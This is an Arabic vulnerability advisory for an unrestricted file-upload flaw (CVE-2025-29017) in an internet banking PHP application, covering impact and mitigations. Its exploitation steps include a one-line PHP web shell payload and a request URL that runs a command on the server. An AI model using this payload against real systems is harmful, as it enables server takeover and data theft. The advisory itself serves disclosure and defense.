CVE-2025-29017 - نظام الخدمات المصرفية عبر الإنترنت 2.0.0 تنفيذ أوامر عن بُعد عبر رفع صورة الملف الشخصي

الوصف

توجد ثغرة تنفيذ أوامر عن بُعد (RCE) في نظام Code Astro للخدمات المصرفية عبر الإنترنت 2.0.0 بسبب عدم التحقق السليم من صحة رفع الملفات في المعامل profile_pic داخل pages_view_client.php. يمكن للمهاجمين تجاوز فحوصات الأمان عن طريق تعديل طلب الرفع، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية.

المكون المتأثر

• المعامل profile_pic في pages_view_client.php
• وظيفة الرفع تسمح بتنفيذ ملفات PHP ضارة

خطوات الاستغلال

1. انتقل إلى إعدادات الملف الشخصي للمستخدم وابحث عن صورة ملف شخصي جديدة.

2. اعترض طلب رفع صورة الملف الشخصي باستخدام أداة مثل Burp Suite.

3. عدّل الملف ليكون بامتداد مزدوج (.jpeg.php)، وعدّل رأس Content-Type إلى application/x-php، وأضف كود PHP ضار:

<?php system($_GET['cmd']); ?>

4. يمكنك التحقق من رفع الملف في المسار /admin/dist/img/:

http://IP:PORT/InternetBanking-php/admin/dist/img/image.jpeg.php?cmd=type C:\Users\file.txt

التأثير

• اختراق الخادم بالكامل
• سرقة البيانات
• تصعيد الصلاحيات

التخفيف

• قصر رفع الملفات على صيغ الصور فقط والتحقق من أنواع MIME.
• تعقيم أسماء الملفات وحظر الملفات التي تحتوي على كود قابل للتنفيذ.
• تخزين الملفات المرفوعة خارج جذر الويب.

المراجع

• OWASP File Upload Security